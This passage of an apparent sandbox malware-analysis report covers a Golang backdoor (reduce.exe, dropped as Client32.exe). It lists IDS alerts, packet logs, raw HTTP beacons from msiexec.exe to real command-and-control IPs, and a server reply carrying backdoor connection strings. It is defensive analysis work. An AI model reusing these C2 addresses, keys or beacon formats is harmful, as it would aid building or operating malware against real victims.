Polyline, PolyBezier, SetViewportExtEx, SetViewportOrgEx, SetWindowExtEx, SetWindowOrgEx, OffsetViewportOrgEx, SetBrushOrgEx, GetDCOrgEx
version.dll	GetFileVersionInfoSizeA, GetFileVersionInfoA, VerQueryValueA
shell32.dll	DragQueryFileA, ShellExecuteA, Shell_NotifyIconA, DragQueryFileW, Shell_NotifyIconW, DragFinish, DragAcceptFiles, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW
ole32.dll	CoCreateGuid, CoTaskMemFree, OleInitialize, OleUninitialize, OleCreateFromFile, OleSetContainedObject, CreateILockBytesOnHGlobal, CoUninitialize, CoCreateInstance, CoInitialize, CoTaskMemAlloc, StgCreateDocfile, StgCreateDocfileOnILockBytes, GetErrorInfo
comctl32.dll	InitCommonControls, ImageList_Create, ImageList_Destroy, ImageList_GetImageCount, ImageList_SetImageCount, ImageList_Add, ImageList_Replace, ImageList_AddMasked, ImageList_DrawEx, ImageList_DrawIndirect, ImageList_Remove, ImageList_Copy, ImageList_BeginDrag, ImageList_EndDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_DragMove, ImageList_DragShowNolock, _TrackMouseEvent
imm32.dll	ImmGetContext, ImmReleaseContext, ImmGetCompositionStringW, ImmNotifyIME
comdlg32.dll	ChooseColorA, CommDlgExtendedError, GetOpenFileNameW, GetSaveFileNameW, ChooseFontW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Serbian	Italy
Portuguese	Brazil

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-04T23:24:07.286691+0100	2855539	ETPRO MALWARE Unknown Golang Backdoor CnC Server Response M2	1	185.121.233.152	28250	192.168.2.4	49763	TCP
2024-12-04T23:24:07.286896+0100	2855536	ETPRO MALWARE Unknown Golang Backdoor CnC Client Request M1	1	192.168.2.4	49763	185.121.233.152	28250	TCP
2024-12-04T23:24:36.083072+0100	2855537	ETPRO MALWARE Unknown Golang Backdoor CnC Client Request M2	1	192.168.2.4	49763	185.121.233.152	28250	TCP
2024-12-04T23:24:36.469876+0100	2855538	ETPRO MALWARE Unknown Golang Backdoor CnC Server Response M1	1	185.121.233.152	28250	192.168.2.4	49763	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 4, 2024 23:23:32.413621902 CET	49741	80	192.168.2.4	46.8.232.106
Dec 4, 2024 23:23:32.533416033 CET	80	49741	46.8.232.106	192.168.2.4
Dec 4, 2024 23:23:32.533818007 CET	49741	80	192.168.2.4	46.8.232.106
Dec 4, 2024 23:23:32.534853935 CET	49741	80	192.168.2.4	46.8.232.106
Dec 4, 2024 23:23:32.654566050 CET	80	49741	46.8.232.106	192.168.2.4
Dec 4, 2024 23:23:42.410769939 CET	49741	80	192.168.2.4	46.8.232.106
Dec 4, 2024 23:23:42.412579060 CET	49742	80	192.168.2.4	46.8.236.61
Dec 4, 2024 23:23:42.532335997 CET	80	49742	46.8.236.61	192.168.2.4
Dec 4, 2024 23:23:42.532434940 CET	49742	80	192.168.2.4	46.8.236.61
Dec 4, 2024 23:23:42.532676935 CET	49742	80	192.168.2.4	46.8.236.61
Dec 4, 2024 23:23:42.570749044 CET	80	49741	46.8.232.106	192.168.2.4
Dec 4, 2024 23:23:42.652481079 CET	80	49742	46.8.236.61	192.168.2.4
Dec 4, 2024 23:23:52.423908949 CET	49742	80	192.168.2.4	46.8.236.61
Dec 4, 2024 23:23:52.425318003 CET	49743	80	192.168.2.4	91.212.166.91
Dec 4, 2024 23:23:52.545067072 CET	80	49743	91.212.166.91	192.168.2.4
Dec 4, 2024 23:23:52.545312881 CET	49743	80	192.168.2.4	91.212.166.91
Dec 4, 2024 23:23:52.545561075 CET	49743	80	192.168.2.4	91.212.166.91
Dec 4, 2024 23:23:52.586755037 CET	80	49742	46.8.236.61	192.168.2.4
Dec 4, 2024 23:23:52.665402889 CET	80	49743	91.212.166.91	192.168.2.4
Dec 4, 2024 23:23:53.901345015 CET	80	49743	91.212.166.91	192.168.2.4
Dec 4, 2024 23:23:53.902575970 CET	49744	80	192.168.2.4	188.130.206.243
Dec 4, 2024 23:23:53.949980021 CET	49743	80	192.168.2.4	91.212.166.91
Dec 4, 2024 23:23:54.022780895 CET	80	49744	188.130.206.243	192.168.2.4
Dec 4, 2024 23:23:54.023026943 CET	49744	80	192.168.2.4	188.130.206.243
Dec 4, 2024 23:23:54.023226976 CET	49744	80	192.168.2.4	188.130.206.243
Dec 4, 2024 23:23:54.142873049 CET	80	49744	188.130.206.243	192.168.2.4
Dec 4, 2024 23:23:54.445663929 CET	80	49741	46.8.232.106	192.168.2.4
Dec 4, 2024 23:23:54.449816942 CET	49741	80	192.168.2.4	46.8.232.106
Dec 4, 2024 23:24:02.553267002 CET	49743	80	192.168.2.4	91.212.166.91
Dec 4, 2024 23:24:02.673320055 CET	80	49743	91.212.166.91	192.168.2.4
Dec 4, 2024 23:24:02.673404932 CET	49743	80	192.168.2.4	91.212.166.91
Dec 4, 2024 23:24:03.929549932 CET	49744	80	192.168.2.4	188.130.206.243
Dec 4, 2024 23:24:03.930352926 CET	49757	80	192.168.2.4	38.180.205.164
Dec 4, 2024 23:24:04.050194025 CET	80	49757	38.180.205.164	192.168.2.4
Dec 4, 2024 23:24:04.053621054 CET	49757	80	192.168.2.4	38.180.205.164
Dec 4, 2024 23:24:04.053802967 CET	49757	80	192.168.2.4	38.180.205.164
Dec 4, 2024 23:24:04.090552092 CET	80	49744	188.130.206.243	192.168.2.4
Dec 4, 2024 23:24:04.173731089 CET	80	49757	38.180.205.164	192.168.2.4
Dec 4, 2024 23:24:04.461545944 CET	80	49742	46.8.236.61	192.168.2.4
Dec 4, 2024 23:24:04.461620092 CET	49742	80	192.168.2.4	46.8.236.61
Dec 4, 2024 23:24:05.961430073 CET	80	49757	38.180.205.164	192.168.2.4
Dec 4, 2024 23:24:05.967540979 CET	49763	28250	192.168.2.4	185.121.233.152
Dec 4, 2024 23:24:06.014497042 CET	49757	80	192.168.2.4	38.180.205.164
Dec 4, 2024 23:24:06.087333918 CET	28250	49763	185.121.233.152	192.168.2.4
Dec 4, 2024 23:24:06.087649107 CET	49763	28250	192.168.2.4	185.121.233.152
Dec 4, 2024 23:24:07.286690950 CET	28250	49763	185.121.233.152	192.168.2.4
Dec 4, 2024 23:24:07.286895990 CET	49763	28250	192.168.2.4	185.121.233.152
Dec 4, 2024 23:24:07.406651974 CET	28250	49763	185.121.233.152	192.168.2.4
Dec 4, 2024 23:24:15.929838896 CET	80	49744	188.130.206.243	192.168.2.4
Dec 4, 2024 23:24:15.929977894 CET	49744	80	192.168.2.4	188.130.206.243
Dec 4, 2024 23:24:22.412502050 CET	49763	28250	192.168.2.4	185.121.233.152
Dec 4, 2024 23:24:22.532269001 CET	28250	49763	185.121.233.152	192.168.2.4
Dec 4, 2024 23:24:27.128722906 CET	28250	49763	185.121.233.152	192.168.2.4
Dec 4, 2024 23:24:27.128876925 CET	49763	28250	192.168.2.4	185.121.233.152
Dec 4, 2024 23:24:27.248532057 CET	28250	49763	185.121.233.152	192.168.2.4
Dec 4, 2024 23:24:35.973332882 CET	49757	80	192.168.2.4	38.180.205.164
Dec 4, 2024 23:24:36.083071947 CET	49763	28250	192.168.2.4	185.121.233.152
Dec 4, 2024 23:24:36.093136072 CET	80	49757	38.180.205.164	192.168.2.4
Dec 4, 2024 23:24:36.202979088 CET	28250	49763	185.121.233.152	192.168.2.4
Dec 4, 2024 23:24:36.469876051 CET	28250	49763	185.121.233.152	192.168.2.4
Dec 4, 2024 23:24:36.517687082 CET	49763	28250	192.168.2.4	185.121.233.152
Dec 4, 2024 23:24:47.516107082 CET	28250	49763	185.121.233.152	192.168.2.4
Dec 4, 2024 23:24:47.516365051 CET	49763	28250	192.168.2.4	185.121.233.152
Dec 4, 2024 23:24:47.636079073 CET	28250	49763	185.121.233.152	192.168.2.4
Dec 4, 2024 23:25:02.641793966 CET	49763	28250	192.168.2.4	185.121.233.152
Dec 4, 2024 23:25:02.761646032 CET	28250	49763	185.121.233.152	192.168.2.4
Dec 4, 2024 23:25:06.094912052 CET	49757	80	192.168.2.4	38.180.205.164
Dec 4, 2024 23:25:06.217379093 CET	80	49757	38.180.205.164	192.168.2.4
Dec 4, 2024 23:25:06.485685110 CET	49763	28250	192.168.2.4	185.121.233.152
Dec 4, 2024 23:25:06.605407000 CET	28250	49763	185.121.233.152	192.168.2.4
Dec 4, 2024 23:25:06.874191999 CET	28250	49763	185.121.233.152	192.168.2.4
Dec 4, 2024 23:25:06.923664093 CET	49763	28250	192.168.2.4	185.121.233.152
Dec 4, 2024 23:25:07.904146910 CET	28250	49763	185.121.233.152	192.168.2.4
Dec 4, 2024 23:25:07.948724985 CET	49763	28250	192.168.2.4	185.121.233.152

HTTP Request Dependency Graph

46.8.232.106

46.8.236.61

91.212.166.91

188.130.206.243

38.180.205.164

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49741	46.8.232.106	80	8024	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 23:23:32.534853935 CET	302	OUT	POST / HTTP/1.1 Host: 46.8.232.106 User-Agent: Go-http-client/1.1 Content-Length: 166 X-Api-Key: RevesNFj Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 2e 36 58 01 2b 23 33 31 3c 1b 15 0d 0a 20 0a 2b 07 19 02 0f 1d 27 1e 28 13 35 3f 27 44 45 45 13 1d 01 1e 10 32 10 0a 1c 08 08 0a 06 4d 54 44 0a 22 12 23 16 09 01 32 41 43 4c 16 1b 08 1b 16 3e 07 1a 14 14 00 1c 02 4b 5d 41 2c 5e 2b 0e 14 09 1e 1b 44 45 45 01 1a 07 0a 0d 31 06 1d 1d 0f 06 09 41 55 4c 56 59 10 27 41 2d 23 2c 54 2a 37 37 44 45 45 0e 0b 5b 44 53 45 5a 0b 5e 5f 0d 04 52 0a 0a 07 5e 53 56 0e 5b 00 51 50 56 5a 5d 56 5d 5f 06 5a 59 50 5b 57 00 09 4c 1b Data Ascii: ML\K.6X+#31< +'(5?'DEE2MTD"#2ACL>K]A,^+DEE1AULVY'A-#,T77DEE[DSEZ^_R^SV[QPVZ]V]_ZYP[WL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49742	46.8.236.61	80	8024	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 23:23:42.532676935 CET	301	OUT	POST / HTTP/1.1 Host: 46.8.236.61 User-Agent: Go-http-client/1.1 Content-Length: 166 X-Api-Key: 4l7XKmIh Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 2e 36 58 01 2b 23 33 31 3c 1b 15 0d 0a 20 0a 2b 07 19 02 0f 1d 27 1e 28 13 35 3f 27 44 45 45 13 1d 01 1e 10 32 10 0a 1c 08 08 0a 06 4d 54 44 0a 22 12 23 16 09 01 32 41 43 4c 16 1b 08 1b 16 3e 07 1a 14 14 00 1c 02 4b 5d 41 2c 5e 2b 0e 14 09 1e 1b 44 45 45 01 1a 07 0a 0d 31 06 1d 1d 0f 06 09 41 55 4c 56 59 10 27 41 2d 23 2c 54 2a 37 37 44 45 45 0e 0b 5b 44 53 45 5a 0b 5e 5f 0d 04 52 0a 0a 07 5e 53 56 0e 5b 00 51 50 56 5a 5d 56 5d 5f 06 5a 59 50 5b 57 00 09 4c 1b Data Ascii: ML\K.6X+#31< +'(5?'DEE2MTD"#2ACL>K]A,^+DEE1AULVY'A-#,T77DEE[DSEZ^_R^SV[QPVZ]V]_ZYP[WL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49743	91.212.166.91	80	8024	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 23:23:52.545561075 CET	303	OUT	POST / HTTP/1.1 Host: 91.212.166.91 User-Agent: Go-http-client/1.1 Content-Length: 166 X-Api-Key: WN3Xwx7a Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 2e 36 58 01 2b 23 33 31 3c 1b 15 0d 0a 20 0a 2b 07 19 02 0f 1d 27 1e 28 13 35 3f 27 44 45 45 13 1d 01 1e 10 32 10 0a 1c 08 08 0a 06 4d 54 44 0a 22 12 23 16 09 01 32 41 43 4c 16 1b 08 1b 16 3e 07 1a 14 14 00 1c 02 4b 5d 41 2c 5e 2b 0e 14 09 1e 1b 44 45 45 01 1a 07 0a 0d 31 06 1d 1d 0f 06 09 41 55 4c 56 59 10 27 41 2d 23 2c 54 2a 37 37 44 45 45 0e 0b 5b 44 53 45 5a 0b 5e 5f 0d 04 52 0a 0a 07 5e 53 56 0e 5b 00 51 50 56 5a 5d 56 5d 5f 06 5a 59 50 5b 57 00 09 4c 1b Data Ascii: ML\K.6X+#31< +'(5?'DEE2MTD"#2ACL>K]A,^+DEE1AULVY'A-#,T77DEE[DSEZ^_R^SV[QPVZ]V]_ZYP[WL
Dec 4, 2024 23:23:53.901345015 CET	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Wed, 04 Dec 2024 22:23:53 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49744	188.130.206.243	80	8024	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 23:23:54.023226976 CET	305	OUT	POST / HTTP/1.1 Host: 188.130.206.243 User-Agent: Go-http-client/1.1 Content-Length: 166 X-Api-Key: PnB4uTNY Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 2e 36 58 01 2b 23 33 31 3c 1b 15 0d 0a 20 0a 2b 07 19 02 0f 1d 27 1e 28 13 35 3f 27 44 45 45 13 1d 01 1e 10 32 10 0a 1c 08 08 0a 06 4d 54 44 0a 22 12 23 16 09 01 32 41 43 4c 16 1b 08 1b 16 3e 07 1a 14 14 00 1c 02 4b 5d 41 2c 5e 2b 0e 14 09 1e 1b 44 45 45 01 1a 07 0a 0d 31 06 1d 1d 0f 06 09 41 55 4c 56 59 10 27 41 2d 23 2c 54 2a 37 37 44 45 45 0e 0b 5b 44 53 45 5a 0b 5e 5f 0d 04 52 0a 0a 07 5e 53 56 0e 5b 00 51 50 56 5a 5d 56 5d 5f 06 5a 59 50 5b 57 00 09 4c 1b Data Ascii: ML\K.6X+#31< +'(5?'DEE2MTD"#2ACL>K]A,^+DEE1AULVY'A-#,T77DEE[DSEZ^_R^SV[QPVZ]V]_ZYP[WL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49757	38.180.205.164	80	8024	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 23:24:04.053802967 CET	304	OUT	POST / HTTP/1.1 Host: 38.180.205.164 User-Agent: Go-http-client/1.1 Content-Length: 166 X-Api-Key: FBNFqv4X Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 2e 36 58 01 2b 23 33 31 3c 1b 15 0d 0a 20 0a 2b 07 19 02 0f 1d 27 1e 28 13 35 3f 27 44 45 45 13 1d 01 1e 10 32 10 0a 1c 08 08 0a 06 4d 54 44 0a 22 12 23 16 09 01 32 41 43 4c 16 1b 08 1b 16 3e 07 1a 14 14 00 1c 02 4b 5d 41 2c 5e 2b 0e 14 09 1e 1b 44 45 45 01 1a 07 0a 0d 31 06 1d 1d 0f 06 09 41 55 4c 56 59 10 27 41 2d 23 2c 54 2a 37 37 44 45 45 0e 0b 5b 44 53 45 5a 0b 5e 5f 0d 04 52 0a 0a 07 5e 53 56 0e 5b 00 51 50 56 5a 5d 56 5d 5f 06 5a 59 50 5b 57 00 09 4c 1b Data Ascii: ML\K.6X+#31< +'(5?'DEE2MTD"#2ACL>K]A,^+DEE1AULVY'A-#,T77DEE[DSEZ^_R^SV[QPVZ]V]_ZYP[WL
Dec 4, 2024 23:24:05.961430073 CET	388	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 22:24:05 GMT Content-Length: 270 Content-Type: text/plain; charset=utf-8 Data Raw: 31 38 35 2e 31 32 31 2e 32 33 33 2e 31 35 32 3b 32 38 32 35 30 3b 68 33 69 67 74 70 68 69 74 63 4d 63 70 36 6a 34 3a 6d 6d 51 2f 35 78 4c 2f 74 59 33 39 51 76 6d 31 42 4c 36 2e 65 31 77 32 59 6f 56 31 6a 49 63 32 66 78 42 2e 32 66 65 31 63 55 48 36 58 52 78 36 5a 67 48 2e 50 7a 64 39 67 6c 66 31 67 71 38 2c 46 30 63 68 6b 4d 4b 74 34 64 49 74 6f 51 31 70 51 4a 63 3a 54 42 47 2f 4e 47 77 2f 5a 37 65 33 6d 56 64 38 33 33 4e 2e 79 34 42 31 6d 4f 47 38 46 39 37 30 62 47 57 2e 52 44 6e 32 30 33 34 30 74 55 65 35 67 50 71 2e 4e 37 43 31 75 76 57 36 58 57 71 34 51 68 30 2c 34 5a 67 68 47 50 7a 74 4d 57 66 74 66 76 78 70 6d 4a 69 3a 76 68 72 2f 70 30 61 2f 38 69 64 39 53 4c 6e 31 53 6d 6f 2e 59 63 4d 32 4c 36 4a 31 6e 4b 62 32 31 35 6a 2e 72 77 6a 31 36 5a 59 36 34 56 73 36 78 53 76 2e 58 77 30 39 42 49 41 Data Ascii: 185.121.233.152;28250;h3igtphitcMcp6j4:mmQ/5xL/tY39Qvm1BL6.e1w2YoV1jIc2fxB.2fe1cUH6XRx6ZgH.Pzd9glf1gq8,F0chkMKt4dItoQ1pQJc:TBG/NGw/Z7e3mVd833N.y4B1mOG8F970bGW.RDn20340tUe5gPq.N7C1uvW6XWq4Qh0,4ZghGPztMWftfvxpmJi:vhr/p0a/8id9SLn1Smo.YcM2L6J1nKb215j.rwj16ZY64Vs6xSv.Xw09BIA
Dec 4, 2024 23:24:35.973332882 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 4, 2024 23:25:06.094912052 CET	6	OUT	Data Raw: 00 Data Ascii:

Target ID:	0
Start time:	17:22:59
Start date:	04/12/2024
Path:	C:\Users\user\Desktop\reduce.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\reduce.exe"
Imagebase:	0x100000000
File size:	18'233'144 bytes
MD5 hash:	B0F4C61F99716127097DA80D07ED6123
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	17:23:02
Start date:	04/12/2024
Path:	C:\Windows\SysWOW64\more.com
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\more.com
Imagebase:	0x830000
File size:	24'576 bytes
MD5 hash:	03805AE7E8CBC07840108F5C80CF4973
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:23:02
Start date:	04/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:23:25
Start date:	04/12/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\msiexec.exe
Imagebase:	0x9b0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	17:23:26
Start date:	04/12/2024
Path:	C:\Users\user\AppData\Roaming\jion\Client32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\jion\Client32.exe"
Imagebase:	0x100000000
File size:	18'233'144 bytes
MD5 hash:	B0F4C61F99716127097DA80D07ED6123
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	17:23:29
Start date:	04/12/2024
Path:	C:\Windows\SysWOW64\more.com
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\more.com
Imagebase:	0x830000
File size:	24'576 bytes
MD5 hash:	03805AE7E8CBC07840108F5C80CF4973
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	17:23:29
Start date:	04/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	17:23:44
Start date:	04/12/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\msiexec.exe
Imagebase:	0x9b0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	34.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	9
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00000001000190A0 Relevance: .0, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1719435664.0000000100001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000000.00000002.1719420329.0000000100000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719793949.00000001005E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719808255.00000001005ED000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719873607.0000000100637000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719885626.0000000100639000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719936225.000000010063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719947395.000000010063B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719959534.000000010063E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719971578.0000000100640000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719985238.000000010064F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719997011.0000000100652000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720009292.0000000100653000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720094571.0000000100654000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720107785.0000000100657000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720120775.000000010065C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720133215.0000000100663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720145160.0000000100664000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720157421.0000000100665000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720170049.0000000100666000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720414210.00000001009AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720414210.00000001009B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720414210.00000001009C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720531012.00000001009CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720551413.00000001009CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720577037.00000001009CD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720577037.00000001010CC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000000_reduce.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: cbdc517d08d70e67295529891a336eec7399af31cb94bd593c70ca53ae34146f
Instruction ID: 48b02fbab7062bd5209345767caade3ea1fe5ce447ca554bedf2b050c477dbd2
Opcode Fuzzy Hash: cbdc517d08d70e67295529891a336eec7399af31cb94bd593c70ca53ae34146f
Instruction Fuzzy Hash: 6BF01D75700A50CCF702AB6098153CD3768B309B88F484526AE8C17B0ACFB4C2D28780

Function 00000001000030A0 Relevance: .0, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1719435664.0000000100001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000000.00000002.1719420329.0000000100000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719793949.00000001005E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719808255.00000001005ED000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719873607.0000000100637000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719885626.0000000100639000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719936225.000000010063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719947395.000000010063B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719959534.000000010063E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719971578.0000000100640000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719985238.000000010064F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719997011.0000000100652000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720009292.0000000100653000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720094571.0000000100654000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720107785.0000000100657000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720120775.000000010065C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720133215.0000000100663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720145160.0000000100664000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720157421.0000000100665000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720170049.0000000100666000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720414210.00000001009AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720414210.00000001009B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720414210.00000001009C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720531012.00000001009CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720551413.00000001009CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720577037.00000001009CD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720577037.00000001010CC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000000_reduce.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2266927e57963bc7d73e39e48b32372e8f3b6fdaed5d289f772148ce9b545172
Instruction ID: e7c1e186aca81daaf9e6d333712158edd3ca37f5a671d8e7065e9d07a9428669
Opcode Fuzzy Hash: 2266927e57963bc7d73e39e48b32372e8f3b6fdaed5d289f772148ce9b545172
Instruction Fuzzy Hash: D4E0B631610985E4EA17EB60EC097D82324B75C3C8FC45062A5CD421AADFA8CA8ACB51

Function 0000000100003190 Relevance: .0, Instructions: 5
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1719435664.0000000100001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000000.00000002.1719420329.0000000100000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719793949.00000001005E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719808255.00000001005ED000.00000008.00000001.01000000.00000003.sdmpDownload File
